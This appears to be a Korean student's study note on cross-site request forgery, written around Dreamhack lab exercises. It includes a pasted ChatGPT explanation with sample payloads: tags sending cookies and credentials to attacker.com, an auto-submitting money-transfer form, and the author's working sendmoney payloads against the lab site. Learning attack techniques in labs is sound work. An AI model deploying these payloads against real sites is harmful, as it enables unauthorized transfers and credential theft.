이용자의 식별 정보는 가진 쿠키의 보관은 중요하다
이것은 서명과 연관되어 서명된 문서(이용자가 동의한 문서)를 위조하거나 서명을 날조하는 범죄에 사용될 수 있다
교차 사이트 요청 위조(Cross Site Request Forgery, CSRF) 는 서명된 문서를 위조하는 것과 비슷
이미 이용자가 동의해 서명한 문서를 위조하는 것은 사인이 된 빈 종이에 내용을 맘대로 적는 것
누군가 그 종이에 "나는 A에게 전재산을 양도한다." 따위의 문장을 적어서 내용을 위조해도 서명으로 인해 효력을 가질 수 있다
CSRF는 이와 비슷하게 이용자를 속여 의도치 않은 요청에 결과적으로 동의한 결과를 불러일으키는 공격이다
그럴 듯한웹페이지를 만들어 이용자의 입력을 유도하고 이용자가 갑을 입력하면(=서명) 이를 은행이나 다른 사이트로 이동시켜 마치 이용자가 동의한 것 같은 요청을 발생시킨다
ex) 만약 이용자가 자동 로그인 기능을 이용할 경우 브라우저에는 세션 쿠키가 저장되는데 이는 실제로 계좌 이체가 발생하거나 비밀번호 초기화가 이루어지는 등 범죄에 악용될 수 있다
CSRF 공격에 성공하기 위해서는 이용자가 공격자의 악성 스크립트를 실행해야 한다
이용자에게 메일을 보내 조회하게 만들거나 임의의 사이트나 게시글을 방문하게 만드는 등으로 시도한다
여기의 악성 스크립트는 HTTP 요청을 보내는 코드
CSRF 공격 스크립트는 HTML이나 Javascript로 작성될 수 있고 실제로 HTML에서는 img 태그(이미지를 서버로부터 불러옴)나 form 태그(양식을 서버로 전송함)로 HTTP 요청을 보내면 HTTP 헤더인 쿠키에 이용자의 인증 정보가 포함된다
<ChatGPT의 답변..(웹 해킹에서 img와 form 태그가 위험한 이유)>>>>>>>>>>>>
웹 해킹에서 img 태그와 form 태그가 공격에 이용되는 이유는 주로 서버와의 송수신이 발생하기 때문입니다. 이를 좀 더 자세히 설명하면 다음과 같습니다:
img 태그img 태그는 일반적으로 웹 페이지에 이미지를 표시하기 위해 사용되지만, URL을 통해 외부 서버에 요청을 보낼 수 있다는 점을 악용하여 공격에 사용될 수 있습니다.
CSRF (Cross-Site Request Forgery): 공격자는 피해자의 브라우저가 특정 요청을 외부 서버에 보내도록 유도할 수 있습니다. 예를 들어, 공격자는 피해자에게 img 태그를 포함한 악성 웹 페이지를 방문하게 한 후, 이 태그가 특정 URL로 요청을 보내도록 설정할 수 있습니다. 이 요청은 사용자가 로그인된 상태에서 수행되므로, 서버는 이를 신뢰하고 특정 작업을 수행할 수 있습니다.
<img src="http://example.com/change-password?new-password=hacked" />
정보 유출: 공격자는 img 태그를 사용하여 사용자의 세션 정보나 기타 민감한 데이터를 외부 서버로 전송할 수 있습니다. 예를 들어, XSS (Cross-Site Scripting) 공격을 통해 img 태그에 악성 스크립트를 삽입하여 정보를 탈취할 수 있습니다.
<img src="http://attacker.com/log?cookie=document.cookie" />
form 태그form 태그는 사용자가 입력한 데이터를 서버로 전송하기 위해 사용되며, 다양한 방법으로 악용될 수 있습니다.
CSRF: form 태그를 통해 사용자의 의지와 상관없이 특정 요청을 보낼 수 있습니다. 공격자는 사용자에게 악성 페이지를 방문하게 한 후, 자동으로 폼이 제출되도록 만들어 특정 작업을 수행하게 할 수 있습니다.
<form action="http://example.com/transfer-money" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker">
<input type="submit">
</form>
<script>
document.forms[0].submit();
</script>
피싱 및 데이터 탈취: 공격자는 합법적인 웹사이트처럼 보이는 폼을 만들어 사용자가 민감한 정보를 입력하게 유도할 수 있습니다. 사용자가 폼을 제출하면 데이터는 공격자의 서버로 전송됩니다.
<form action="http://attacker.com/steal-info" method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Login">
</form>
img 태그와 form 태그가 웹 해킹에 자주 사용되는 이유는 이 태그들이 기본적으로 서버와의 통신을 포함하며, 이를 통해 다양한 공격 벡터를 만들 수 있기 때문입니다. 이러한 태그를 통한 공격을 방지하기 위해서는 적절한 보안 조치(예: CSRF 토큰 사용, 콘텐츠 보안 정책 설정 등)를 취하는 것이 중요합니다.
img와 form 태그를 이용해 악성 스크립트를 보내 실행시킬 수 있다
ex) img의 src를 돈을 보내는 스크립트
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>

게시글에
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1000000000' width=0px height=0px>
을 입력하니 됐다
답안 예시 >
<img src="/sendmoney?to=dreamhack&amount=1337">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
...
onerror을 이용하는 방법도 있다

: XSS는 쿠키 자체를 탈취해 정보를 빼내는 공격이고
CSRF는 쿠키를 이용해 이용자의 권한을 이용해 웹 서비스로 무언가를 하는 등 권한 도용으로 펼치는 공격이다

@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
admin 계정으로 로그인해야 flag를 얻을 수 있다
.admin/notice_flag로 userid 인자로 admin이라는 문자를 보내면 될 것 같다
if request.args.get("userid", "") != "admin":
: HTTP 요청의 URL 매개변수 중 userid 값을 확인하는 역할
